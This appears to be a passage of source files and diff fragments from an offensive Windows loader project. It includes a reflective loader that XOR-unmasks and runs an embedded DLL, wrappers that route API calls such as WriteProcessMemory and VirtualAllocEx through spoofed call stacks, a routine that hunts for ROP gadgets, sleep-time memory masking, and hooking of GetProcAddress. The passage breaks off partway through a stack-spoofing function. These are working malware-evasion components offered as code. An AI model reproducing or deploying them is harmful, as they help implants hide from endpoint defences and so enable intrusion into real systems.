HANDLE WINAPI _CreateThread ( LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( KERNEL32$CreateThread );
call.argc = 6;
call.args [ 0 ] = spoof_arg ( lpThreadAttributes );
call.args [ 1 ] = spoof_arg ( dwStackSize );
call.args [ 2 ] = spoof_arg ( lpStartAddress );
call.args [ 3 ] = spoof_arg ( lpParameter );
call.args [ 4 ] = spoof_arg ( dwCreationFlags );
call.args [ 5 ] = spoof_arg ( lpThreadId );
return ( HANDLE ) spoof_call ( &call );
}
HRESULT WINAPI _CoCreateInstance ( REFCLSID rclsid, LPUNKNOWN pUnkOuter, DWORD dwClsContext, REFIID riid, LPVOID * ppv )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( OLE32$CoCreateInstance );
call.argc = 5;
call.args [ 0 ] = spoof_arg ( rclsid );
call.args [ 1 ] = spoof_arg ( pUnkOuter );
call.args [ 2 ] = spoof_arg ( dwClsContext );
call.args [ 3 ] = spoof_arg ( riid );
call.args [ 4 ] = spoof_arg ( ppv );
return ( HRESULT ) spoof_call ( &call );
}
BOOL WINAPI _DuplicateHandle ( HANDLE hSourceProcessHandle, HANDLE hSourceHandle, HANDLE hTargetProcessHandle, LPHANDLE lpTargetHandle, DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwOptions )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( KERNEL32$DuplicateHandle );
call.argc = 7;
call.args [ 0 ] = spoof_arg ( hSourceProcessHandle );
call.args [ 1 ] = spoof_arg ( hSourceHandle );
call.args [ 2 ] = spoof_arg ( hTargetProcessHandle );
call.args [ 3 ] = spoof_arg ( lpTargetHandle );
call.args [ 4 ] = spoof_arg ( dwDesiredAccess );
call.args [ 5 ] = spoof_arg ( bInheritHandle );
call.args [ 6 ] = spoof_arg ( dwOptions );
return ( BOOL ) spoof_call ( &call );
}
HMODULE WINAPI _LoadLibraryA ( LPCSTR lpLibFileName )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( LoadLibraryA );
call.argc = 1;
call.args [ 0 ] = spoof_arg ( lpLibFileName );
return ( HMODULE ) spoof_call ( &call );
}
BOOL WINAPI _GetThreadContext ( HANDLE hThread, LPCONTEXT lpContext )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( KERNEL32$GetThreadContext );
call.argc = 2;
call.args [ 0 ] = spoof_arg ( hThread );
call.args [ 1 ] = spoof_arg ( lpContext );
return ( BOOL ) spoof_call ( &call );
}
LPVOID WINAPI _MapViewOfFile ( HANDLE hFileMappingObject, DWORD dwDesiredAccess, DWORD dwFileOffsetHigh, DWORD dwFileOffsetLow, SIZE_T dwNumberOfBytesToMap )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( KERNEL32$MapViewOfFile );
call.argc = 5;
call.args [ 0 ] = spoof_arg ( hFileMappingObject );
call.args [ 1 ] = spoof_arg ( dwDesiredAccess );
call.args [ 2 ] = spoof_arg ( dwFileOffsetHigh );
call.args [ 3 ] = spoof_arg ( dwFileOffsetLow );
call.args [ 4 ] = spoof_arg ( dwNumberOfBytesToMap );
return ( LPVOID ) spoof_call ( &call );
}
HANDLE WINAPI _OpenProcess ( DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( KERNEL32$OpenProcess );
call.argc = 3;
call.args [ 0 ] = spoof_arg ( dwDesiredAccess );
call.args [ 1 ] = spoof_arg ( bInheritHandle );
call.args [ 2 ] = spoof_arg ( dwProcessId );
return ( HANDLE ) spoof_call ( &call );
}
HANDLE WINAPI _OpenThread ( DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwThreadId )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( KERNEL32$OpenThread );
call.argc = 3;
call.args [ 0 ] = spoof_arg ( dwDesiredAccess );
call.args [ 1 ] = spoof_arg ( bInheritHandle );
call.args [ 2 ] = spoof_arg ( dwThreadId );
return ( HANDLE ) spoof_call ( &call );
}
BOOL WINAPI _ReadProcessMemory ( HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T * lpNumberOfBytesRead )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( KERNEL32$ReadProcessMemory );
call.argc = 5;
call.args [ 0 ] = spoof_arg ( hProcess );
call.args [ 1 ] = spoof_arg ( lpBaseAddress );
call.args [ 2 ] = spoof_arg ( lpBuffer );
call.args [ 3 ] = spoof_arg ( nSize );
call.args [ 4 ] = spoof_arg ( lpNumberOfBytesRead );
return ( BOOL ) spoof_call ( &call );
}
DWORD WINAPI _ResumeThread ( HANDLE hThread )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( KERNEL32$ResumeThread );
call.argc = 1;
call.args [ 0 ] = spoof_arg ( hThread );
return ( DWORD ) spoof_call ( &call );
}
BOOL WINAPI _SetThreadContext ( HANDLE hThread, const CONTEXT * lpContext )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( KERNEL32$SetThreadContext );
call.argc = 2;
call.args [ 0 ] = spoof_arg ( hThread );
call.args [ 1 ] = spoof_arg ( lpContext );
return ( BOOL ) spoof_call ( &call );
}
BOOL WINAPI _UnmapViewOfFile ( LPCVOID lpBaseAddress )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( KERNEL32$UnmapViewOfFile );
call.argc = 1;
call.args [ 0 ] = spoof_arg ( lpBaseAddress );
return ( BOOL ) spoof_call ( &call );
}
LPVOID WINAPI _VirtualAlloc ( LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( KERNEL32$VirtualAlloc );
call.argc = 4;
call.args [ 0 ] = spoof_arg ( lpAddress );
call.args [ 1 ] = spoof_arg ( dwSize );
call.args [ 2 ] = spoof_arg ( flAllocationType );
call.args [ 3 ] = spoof_arg ( flProtect );
return ( LPVOID ) spoof_call ( &call );
}
LPVOID WINAPI _VirtualAllocEx ( HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( KERNEL32$VirtualAllocEx );
call.argc = 5;
call.args [ 0 ] = spoof_arg ( hProcess );
call.args [ 1 ] = spoof_arg ( lpAddress );
call.args [ 2 ] = spoof_arg ( dwSize );
call.args [ 3 ] = spoof_arg ( flAllocationType );
call.args [ 4 ] = spoof_arg ( flProtect );
return ( LPVOID ) spoof_call ( &call );
}
BOOL WINAPI _VirtualFree ( LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( KERNEL32$VirtualFree );
call.argc = 3;
call.args [ 0 ] = spoof_arg ( lpAddress );
call.args [ 1 ] = spoof_arg ( dwSize );
call.args [ 2 ] = spoof_arg ( dwFreeType );
return ( BOOL ) spoof_call ( &call );
}
BOOL WINAPI _VirtualProtect ( LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( KERNEL32$VirtualProtect );
call.argc = 4;
call.args [ 0 ] = spoof_arg ( lpAddress );
call.args [ 1 ] = spoof_arg ( dwSize );
call.args [ 2 ] = spoof_arg ( flNewProtect );
call.args [ 3 ] = spoof_arg ( lpflOldProtect );
return ( BOOL ) spoof_call ( &call );
}
BOOL WINAPI _VirtualProtectEx ( HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( KERNEL32$VirtualProtectEx );
call.argc = 5;
call.args [ 0 ] = spoof_arg ( hProcess );
call.args [ 1 ] = spoof_arg ( lpAddress );
call.args [ 2 ] = spoof_arg ( dwSize );
call.args [ 3 ] = spoof_arg ( flNewProtect );
call.args [ 4 ] = spoof_arg ( lpflOldProtect );
return ( BOOL ) spoof_call ( &call );
}
SIZE_T WINAPI _VirtualQuery ( LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( KERNEL32$VirtualQuery );
call.argc = 3;
call.args [ 0 ] = spoof_arg ( lpAddress );
call.args [ 1 ] = spoof_arg ( lpBuffer );
call.args [ 2 ] = spoof_arg ( dwLength );
return ( SIZE_T ) spoof_call ( &call );
}
BOOL WINAPI _WriteProcessMemory ( HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T * lpNumberOfBytesWritten )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( KERNEL32$WriteProcessMemory );
call.argc = 5;
call.args [ 0 ] = spoof_arg ( hProcess );
call.args [ 1 ] = spoof_arg ( lpBaseAddress );
call.args [ 2 ] = spoof_arg ( lpBuffer );
call.args [ 3 ] = spoof_arg ( nSize );
call.args [ 4 ] = spoof_arg ( lpNumberOfBytesWritten );
return ( BOOL ) spoof_call ( &call );
}
+146
View File
@@ -0,0 +1,146 @@
#include <windows.h>
#include "loader.h"
#include "tcg.h"
#include "memory.h"
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc ( LPVOID, SIZE_T, DWORD, DWORD );
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect ( LPVOID, SIZE_T, DWORD, PDWORD );
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualFree ( LPVOID, SIZE_T, DWORD );
char _PICO_ [ 0 ] __attribute__ ( ( section ( "pico" ) ) );
char _MASK_ [ 0 ] __attribute__ ( ( section ( "mask" ) ) );
char _DLL_ [ 0 ] __attribute__ ( ( section ( "dll" ) ) );
int __tag_setup_hooks ( );
int __tag_setup_memory ( );
typedef void ( * SETUP_HOOKS ) ( IMPORTFUNCS * funcs );
typedef void ( * SETUP_MEMORY ) ( MEMORY_LAYOUT * layout );
void fix_section_permissions ( DLLDATA * dll, char * src, char * dst, MEMORY_REGION * region )
{
DWORD section_count = dll->NtHeaders->FileHeader.NumberOfSections;
IMAGE_SECTION_HEADER * section_hdr = NULL;
void * section_dst = NULL;
DWORD section_size = 0;
DWORD new_protect = 0;
DWORD old_protect = 0;
section_hdr = ( IMAGE_SECTION_HEADER * ) PTR_OFFSET ( dll->OptionalHeader, dll->NtHeaders->FileHeader.SizeOfOptionalHeader );
for ( int i = 0; i < section_count; i++ )
{
section_dst = dst + section_hdr->VirtualAddress;
section_size = section_hdr->SizeOfRawData;
if ( section_hdr->Characteristics & IMAGE_SCN_MEM_WRITE ) {
new_protect = PAGE_WRITECOPY;
}
if ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) {
new_protect = PAGE_READONLY;
}
if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_WRITE ) ) {
new_protect = PAGE_READWRITE;
}
if ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) {
new_protect = PAGE_EXECUTE;
}
if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) ) {
new_protect = PAGE_EXECUTE_WRITECOPY;
}
if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) ) {
new_protect = PAGE_EXECUTE_READ;
}
if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_WRITE ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) ) {
new_protect = PAGE_EXECUTE_READWRITE;
}
/* set new permission */
KERNEL32$VirtualProtect ( section_dst, section_size, new_protect, &old_protect );
/* track memory */
region->Sections[ i ].BaseAddress = section_dst;
region->Sections[ i ].Size = section_size;
region->Sections[ i ].CurrentProtect = new_protect;
region->Sections[ i ].PreviousProtect = new_protect;
/* advance to section */
section_hdr++;
}
}
void go ( )
{
/* populate funcs */
IMPORTFUNCS funcs;
funcs.LoadLibraryA = LoadLibraryA;
funcs.GetProcAddress = GetProcAddress;
/* load the pico */
char * pico_src = GETRESOURCE ( _PICO_ );
/* allocate memory for it */
PICO * pico_dst = ( PICO * ) KERNEL32$VirtualAlloc ( NULL, sizeof ( PICO ), MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_READWRITE );
/* load it into memory */
PicoLoad ( &funcs, pico_src, pico_dst->code, pico_dst->data );
/* make code section RX */
DWORD old_protect;
KERNEL32$VirtualProtect ( pico_dst->code, PicoCodeSize ( pico_src ), PAGE_EXECUTE_READ, &old_protect );
/* begin tracking memory allocations */
MEMORY_LAYOUT memory = { 0 };
memory.Pico.BaseAddress = ( PVOID ) ( pico_dst );
memory.Pico.Size = sizeof ( PICO );
memory.Pico.Sections[ 0 ].BaseAddress = ( PVOID ) ( pico_dst->data );
memory.Pico.Sections[ 0 ].Size = PicoDataSize ( pico_src );
memory.Pico.Sections[ 0 ].CurrentProtect = PAGE_READWRITE;
memory.Pico.Sections[ 0 ].PreviousProtect = PAGE_READWRITE;
memory.Pico.Sections[ 1 ].BaseAddress = ( PVOID ) ( pico_dst->code );
memory.Pico.Sections[ 1 ].Size = PicoCodeSize ( pico_src );
memory.Pico.Sections[ 1 ].CurrentProtect = PAGE_EXECUTE_READ;
memory.Pico.Sections[ 1 ].PreviousProtect = PAGE_EXECUTE_READ;
/* call setup_hooks to overwrite funcs.GetProcAddress */
( ( SETUP_HOOKS ) PicoGetExport ( pico_src, pico_dst->code, __tag_setup_hooks ( ) ) ) ( &funcs );
/* now load the dll (it's masked) */
RESOURCE * masked_dll = ( RESOURCE * ) GETRESOURCE ( _DLL_ );
RESOURCE * mask_key = ( RESOURCE * ) GETRESOURCE ( _MASK_ );
/* load dll into memory and unmask it */
char * dll_src = KERNEL32$VirtualAlloc ( NULL, masked_dll->len, MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_READWRITE );
for ( int i = 0; i < masked_dll->len; i++ ) {
dll_src [ i ] = masked_dll->value [ i ] ^ mask_key->value [ i % mask_key->len ];
}
DLLDATA dll_data;
ParseDLL ( dll_src, &dll_data );
char * dll_dst = KERNEL32$VirtualAlloc ( NULL, SizeOfDLL ( &dll_data ), MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_READWRITE );
LoadDLL ( &dll_data, dll_src, dll_dst );
/* track dll's memory */
memory.Dll.BaseAddress = ( PVOID ) ( dll_dst );
memory.Dll.Size = SizeOfDLL ( &dll_data );
ProcessImports ( &funcs, &dll_data, dll_dst );
fix_section_permissions ( &dll_data, dll_src, dll_dst, &memory.Dll );
/* call setup_memory to give PICO the memory info */
( ( SETUP_MEMORY ) PicoGetExport ( pico_src, pico_dst->code, __tag_setup_memory ( ) ) ) ( &memory );
/* now run the DLL */
DLLMAIN_FUNC entry_point = EntryPoint ( &dll_data, dll_dst );
/* free the unmasked copy */
KERNEL32$VirtualFree ( dll_src, 0, MEM_RELEASE );
entry_point ( ( HINSTANCE ) dll_dst, DLL_PROCESS_ATTACH, NULL );
entry_point ( ( HINSTANCE ) ( char * ) go, 0x4, NULL );
}
+11
View File
@@ -0,0 +1,11 @@
#define GETRESOURCE(x) ( char * ) &x
typedef struct {
char data [ 4096 ];
char code [ 16384 ];
} PICO;
typedef struct {
int len;
char value[];
} RESOURCE;
+72
View File
@@ -0,0 +1,72 @@
#include <windows.h>
#include "memory.h"
#include "spoof.h"
DECLSPEC_IMPORT VOID WINAPI KERNEL32$Sleep ( DWORD );
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect ( LPVOID, SIZE_T, DWORD, PDWORD );
char xorkey [ 128 ] = { 1 };
void apply_mask ( char * data, DWORD len )
{
for ( DWORD i = 0; i < len; i++ )
{
data [ i ] ^= xorkey [ i % 128 ];
}
}
BOOL is_writeable ( DWORD protection )
{
if ( protection == PAGE_EXECUTE_READWRITE ||
protection == PAGE_EXECUTE_WRITECOPY ||
protection == PAGE_READWRITE ||
protection == PAGE_WRITECOPY )
{
return TRUE;
}
return FALSE;
}
void xor_section ( MEMORY_SECTION * section, BOOL mask )
{
if ( mask == TRUE && is_writeable ( section->CurrentProtect ) == FALSE )
{
DWORD old_protect = 0;
if ( KERNEL32$VirtualProtect ( section->BaseAddress, section->Size, PAGE_READWRITE, &old_protect ) )
{
section->CurrentProtect = PAGE_READWRITE;
section->PreviousProtect = old_protect;
}
}
if ( is_writeable ( section->CurrentProtect ) )
{
apply_mask ( section->BaseAddress, section->Size );
}
if ( mask == FALSE && section->CurrentProtect != section->PreviousProtect )
{
DWORD old_protect = 0;
if ( KERNEL32$VirtualProtect ( section->BaseAddress, section->Size, section->PreviousProtect, &old_protect ) )
{
section->CurrentProtect = section->PreviousProtect;
section->PreviousProtect = old_protect;
}
}
}
void xor_region ( MEMORY_REGION * region, BOOL mask )
{
for ( int i = 0; i < 20; i++ )
{
xor_section ( &region->Sections [ i ], mask );
}
}
void mask_memory ( MEMORY_LAYOUT * memory, BOOL mask )
{
xor_region ( &memory->Dll, mask );
}
+1
View File
@@ -0,0 +1 @@
void mask_memory ( MEMORY_LAYOUT * memory, BOOL mask );
+17
View File
@@ -0,0 +1,17 @@
typedef struct {
PVOID BaseAddress;
SIZE_T Size;
DWORD CurrentProtect;
DWORD PreviousProtect;
} MEMORY_SECTION;
typedef struct {
PVOID BaseAddress;
SIZE_T Size;
MEMORY_SECTION Sections [ 20 ];
} MEMORY_REGION;
typedef struct {
MEMORY_REGION Pico;
MEMORY_REGION Dll;
} MEMORY_LAYOUT;
+93
View File
@@ -0,0 +1,93 @@
#include <windows.h>
#include "memory.h"
#include "mask.h"
#include "spoof.h"
#include "cleanup.h"
#include "tcg.h"
MEMORY_LAYOUT g_memory;
DECLSPEC_IMPORT VOID WINAPI KERNEL32$Sleep ( DWORD );
DECLSPEC_IMPORT VOID WINAPI KERNEL32$ExitThread ( DWORD );
FARPROC WINAPI _GetProcAddress ( HMODULE hModule, LPCSTR lpProcName )
{
/* lpProcName may be an ordinal */
if ( ( ULONG_PTR ) lpProcName >> 16 == 0 )
{
/* just resolve normally */
return GetProcAddress ( hModule, lpProcName );
}
FARPROC result = __resolve_hook ( ror13hash ( lpProcName ) );
/*
* result may still be NULL if
* it wasn't hooked in the spec
*/
if ( result != NULL ) {
return result;
}
return GetProcAddress ( hModule, lpProcName );
}
void setup_hooks ( IMPORTFUNCS * funcs )
{
funcs->GetProcAddress = ( __typeof__ ( GetProcAddress ) * ) _GetProcAddress;
}
void setup_memory ( MEMORY_LAYOUT * layout )
{
if ( layout != NULL ) {
g_memory = * layout;
}
}
/*
* throw these hooks in here because
* sharing a global across multiple
* modules is still a bit of a headache
*/
VOID WINAPI _Sleep ( DWORD dwMilliseconds )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( KERNEL32$Sleep );
call.argc = 1;
call.args [ 0 ] = spoof_arg ( dwMilliseconds );
/*
* for performance reasons, only mask
* memory if sleep time is equal to
* or greater than 1 second
*/
if ( dwMilliseconds >= 1000 ) {
mask_memory ( &g_memory, TRUE );
}
spoof_call ( &call );
if ( dwMilliseconds >= 1000 ) {
mask_memory ( &g_memory, FALSE );
}
}
VOID WINAPI _ExitThread ( DWORD dwExitCode )
{
/* free memory */
cleanup_memory ( &g_memory );
/* call the real exit thread */
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( KERNEL32$ExitThread );
call.argc = 1;
call.args [ 0 ] = spoof_arg ( dwExitCode );
spoof_call ( &call );
}
+29
View File
@@ -0,0 +1,29 @@
#include <windows.h>
#include "tcg.h"
DECLSPEC_IMPORT HMODULE WINAPI KERNEL32$GetModuleHandleA ( LPCSTR );
/**
* This function is used to locate functions in
* modules that are loaded by default (K32 & NTDLL)
*/
FARPROC resolve ( DWORD mod_hash, DWORD func_hash )
{
HANDLE module = findModuleByHash ( mod_hash );
return findFunctionByHash ( module, func_hash );
}
/**
* This function is used to load and/or locate functions
* in modules that are not loaded by default.
*/
FARPROC resolve_ext ( char * mod_name, char * func_name )
{
HANDLE module = KERNEL32$GetModuleHandleA ( mod_name );
if ( module == NULL ) {
module = LoadLibraryA ( mod_name );
}
return GetProcAddress ( module, func_name );
}
+390
View File
@@ -0,0 +1,390 @@
#include <windows.h>
#include "spoof.h"
#include "tcg.h"
DECLSPEC_IMPORT HMODULE WINAPI KERNEL32$GetModuleHandleA ( LPCSTR );
DECLSPEC_IMPORT RUNTIME_FUNCTION * WINAPI KERNEL32$RtlLookupFunctionEntry ( DWORD64, PDWORD64, PUNWIND_HISTORY_TABLE );
DECLSPEC_IMPORT ULONG NTAPI NTDLL$RtlRandomEx ( PULONG );
#define TEXT_HASH 0xEBC2F9B4
#define RBP_OP_INFO 0x5
typedef struct {
LPCWSTR DllPath;
ULONG Offset;
ULONGLONG TotalStackSize;
BOOL RequiresLoadLibrary;
BOOL SetsFramePointer;
PVOID ReturnAddress;
BOOL PushRbp;
ULONG CountOfCodes;
BOOL PushRbpIndex;
} STACK_FRAME;
typedef enum {
UWOP_PUSH_NONVOL = 0,
UWOP_ALLOC_LARGE,
UWOP_ALLOC_SMALL,
UWOP_SET_FPREG,
UWOP_SAVE_NONVOL,
UWOP_SAVE_NONVOL_FAR,
UWOP_SAVE_XMM128 = 8,
UWOP_SAVE_XMM128_FAR,
UWOP_PUSH_MACHFRAME
} UNWIND_CODE_OPS;
typedef unsigned char UBYTE;
typedef union {
struct {
UBYTE CodeOffset;
UBYTE UnwindOp : 4;
UBYTE OpInfo : 4;
};
USHORT FrameOffset;
} UNWIND_CODE;
typedef struct {
UBYTE Version : 3;
UBYTE Flags : 5;
UBYTE SizeOfProlog;
UBYTE CountOfCodes;
UBYTE FrameRegister : 4;
UBYTE FrameOffset : 4;
UNWIND_CODE UnwindCode [ 1 ];
} UNWIND_INFO;
typedef struct {
PVOID ModuleAddress;
PVOID FunctionAddress;
DWORD Offset;
} FRAME_INFO;
typedef struct {
FRAME_INFO Frame1;
FRAME_INFO Frame2;
PVOID Gadget;
} SYNTHETIC_STACK_FRAME;
typedef struct {
FUNCTION_CALL * FunctionCall;
PVOID StackFrame;
PVOID SpoofCall;
} DRAUGR_FUNCTION_CALL;
typedef struct {
PVOID Fixup;
PVOID OriginalReturnAddress;
PVOID Rbx;
PVOID Rdi;
PVOID BaseThreadInitThunkStackSize;
PVOID BaseThreadInitThunkReturnAddress;
PVOID TrampolineStackSize;
PVOID RtlUserThreadStartStackSize;
PVOID RtlUserThreadStartReturnAddress;
PVOID Ssn;
PVOID Trampoline;
PVOID Rsi;
PVOID R12;
PVOID R13;
PVOID R14;
PVOID R15;
} DRAUGR_PARAMETERS;
extern PVOID draugr_stub ( PVOID, PVOID, PVOID, PVOID, DRAUGR_PARAMETERS *, PVOID, SIZE_T, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID );
#define draugr_arg(i) ( ULONG_PTR ) ( call->args [ i ] )
void init_frame_info ( SYNTHETIC_STACK_FRAME * frame )
{
PVOID frame1_module = KERNEL32$GetModuleHandleA ( "kernel32.dll" );
PVOID frame2_module = KERNEL32$GetModuleHandleA ( "ntdll.dll" );
frame->Frame1.ModuleAddress = frame1_module;
frame->Frame1.FunctionAddress = ( PVOID ) GetProcAddress ( ( HMODULE ) frame1_module, "BaseThreadInitThunk" );
frame->Frame1.Offset = 0x17;
frame->Frame2.ModuleAddress = frame2_module;
frame->Frame2.FunctionAddress = ( PVOID ) GetProcAddress ( ( HMODULE ) frame2_module, "RtlUserThreadStart" );
frame->Frame2.Offset = 0x2c;
// frame->Gadget = KERNEL32$GetModuleHandleA ( "KernelBase.dll" );
PVOID dfshim = KERNEL32$GetModuleHandleA ( "dfshim.dll" );
if ( dfshim != NULL ) {
frame->Gadget = dfshim;
} else {
frame->Gadget = LoadLibraryA ( "dfshim.dll" );
}
}
BOOL get_text_section_size ( PVOID module, PDWORD virtual_address, PDWORD size )
{
IMAGE_DOS_HEADER * dos_header = ( IMAGE_DOS_HEADER * ) ( module );
if ( dos_header->e_magic != IMAGE_DOS_SIGNATURE ) {
return FALSE;
}
IMAGE_NT_HEADERS * nt_headers = ( IMAGE_NT_HEADERS * ) ( ( UINT_PTR ) module + dos_header->e_lfanew );
if ( nt_headers->Signature != IMAGE_NT_SIGNATURE ) {
return FALSE;
}
IMAGE_SECTION_HEADER * section_header = IMAGE_FIRST_SECTION ( nt_headers );
for ( int i = 0; i < nt_headers->FileHeader.NumberOfSections; i++ )
{
DWORD h = ror13hash ( ( char * ) section_header[ i ].Name );
if ( h == TEXT_HASH )
{
*virtual_address = section_header[ i ].VirtualAddress;
*size = section_header[ i ].SizeOfRawData;
return TRUE;
}
}
return FALSE;
}
PVOID calculate_function_stack_size ( RUNTIME_FUNCTION * runtime_function, const DWORD64 image_base )
{
UNWIND_INFO * unwind_info = NULL;
ULONG unwind_operation = 0;
ULONG operation_info = 0;
ULONG index = 0;
ULONG frame_offset = 0;
STACK_FRAME stack_frame = { 0 };
if ( ! runtime_function ) {
return NULL;
}
unwind_info = ( UNWIND_INFO * ) ( runtime_function->UnwindData + image_base );
while ( index < unwind_info->CountOfCodes )
{
unwind_operation = unwind_info->UnwindCode[ index ].UnwindOp;
operation_info = unwind_info->UnwindCode[ index ].OpInfo;
/* don't use switch as it produces jump tables */
if ( unwind_operation == UWOP_PUSH_NONVOL )
{
stack_frame.TotalStackSize += 8;
if ( operation_info == RBP_OP_INFO )
{
stack_frame.PushRbp = TRUE;
stack_frame.CountOfCodes = unwind_info->CountOfCodes;
stack_frame.PushRbpIndex = index + 1;
}
}
else if ( unwind_operation == UWOP_SAVE_NONVOL )
{
index += 1;
}
else if ( unwind_operation == UWOP_ALLOC_SMALL )
{
stack_frame.TotalStackSize += ( ( operation_info * 8 ) + 8 );
}
else if ( unwind_operation == UWOP_ALLOC_LARGE )
{
index += 1;
frame_offset = unwind_info->UnwindCode[ index ].FrameOffset;
if (operation_info == 0)
{
frame_offset *= 8;
}
else
{
index += 1;
frame_offset += ( unwind_info->UnwindCode[ index ].FrameOffset << 16 );
}
stack_frame.TotalStackSize += frame_offset;
}
else if ( unwind_operation == UWOP_SET_FPREG )
{
stack_frame.SetsFramePointer = TRUE;
}
else if ( unwind_operation == UWOP_SAVE_XMM128 )
{
return NULL;
}
index += 1;
}
if ( 0 != ( unwind_info->Flags & UNW_FLAG_CHAININFO ) )
{
index = unwind_info->CountOfCodes;
if ( 0 != ( index & 1 ) )
{
index += 1;
}
runtime_function = ( RUNTIME_FUNCTION * ) ( &unwind_info->UnwindCode [ index ] );
return calculate_function_stack_size ( runtime_function, image_base );
}
stack_frame.TotalStackSize += 8;
return ( PVOID ) ( stack_frame.TotalStackSize );
}
PVOID calculate_function_stack_size_wrapper ( PVOID return_address )
{
RUNTIME_FUNCTION * runtime_function = NULL;
DWORD64 image_base = 0;
PUNWIND_HISTORY_TABLE history_table = NULL;
if ( ! return_address ) {
return NULL;
}
runtime_function = KERNEL32$RtlLookupFunctionEntry ( ( DWORD64 ) return_address, &image_base, history_table );
if ( NULL == runtime_function ) {
return NULL;
}
return calculate_function_stack_size ( runtime_function, image_base );
}
PVOID find_gadget( PVOID module )
{
BOOL found_gadgets = FALSE;
DWORD text_section_size = 0;
DWORD text_section_va = 0;
DWORD counter = 0;
ULONG seed = 0;
ULONG random = 0;
PVOID module_text_section = NULL;
PVOID gadget_list [ 15 ] = { 0 };
if ( ! found_gadgets )
{
if ( ! get_text_section_size ( module, &text_section_va, &text_section_size ) ) {
return NULL;
}
module_text_section = ( PBYTE ) ( ( UINT_PTR ) module + text_section_va );
for ( int i = 0; i < ( text_section_size - 2 ); i++ )
{
/* x64 opcodes are ff 23 */
if ( ( ( PBYTE ) module_text_section ) [ i ] == 0xFF && ( ( PBYTE ) module_text_section ) [ i + 1 ] == 0x23 )
{
/* check for a call before the gadget */
if ( ( ( PBYTE ) module_text_section ) [ i - 5 ] == 0xE8 )
{
gadget_list [ counter ] = ( PVOID ) ( ( UINT_PTR ) module_text_section + i );
counter++;
if ( counter == 15 ) {
break;
}
}
}
}
found_gadgets = TRUE;
}
seed = 0x1337;
random = NTDLL$RtlRandomEx ( &seed );
random %= counter;
return gadget_list [ random ];
}
ULONG_PTR draugr_wrapper ( PVOID function, DWORD ssn, PVOID arg1, PVOID arg2, PVOID arg3, PVOID arg4, PVOID arg5, PVOID arg6, PVOID arg7, PVOID arg8, PVOID arg9, PVOID arg10, PVOID arg11, PVOID arg12 )
{
int attempts = 0;
PVOID return_address = NULL;
DRAUGR_PARAMETERS draugr_params = { 0 };
if ( ssn ) {
draugr_params.Ssn = ( PVOID ) ( ULONG_PTR ) ssn;
}
SYNTHETIC_STACK_FRAME frame;
init_frame_info ( &frame );
return_address = ( PVOID ) ( ( UINT_PTR ) frame.Frame1.FunctionAddress + frame.Frame1.Offset );
draugr_params.BaseThreadInitThunkStackSize = calculate_function_stack_size_wrapper ( return_address );
draugr_params.BaseThreadInitThunkReturnAddress = return_address;
if ( ! draugr_params.BaseThreadInitThunkStackSize || ! draugr_params.BaseThreadInitThunkReturnAddress ) {
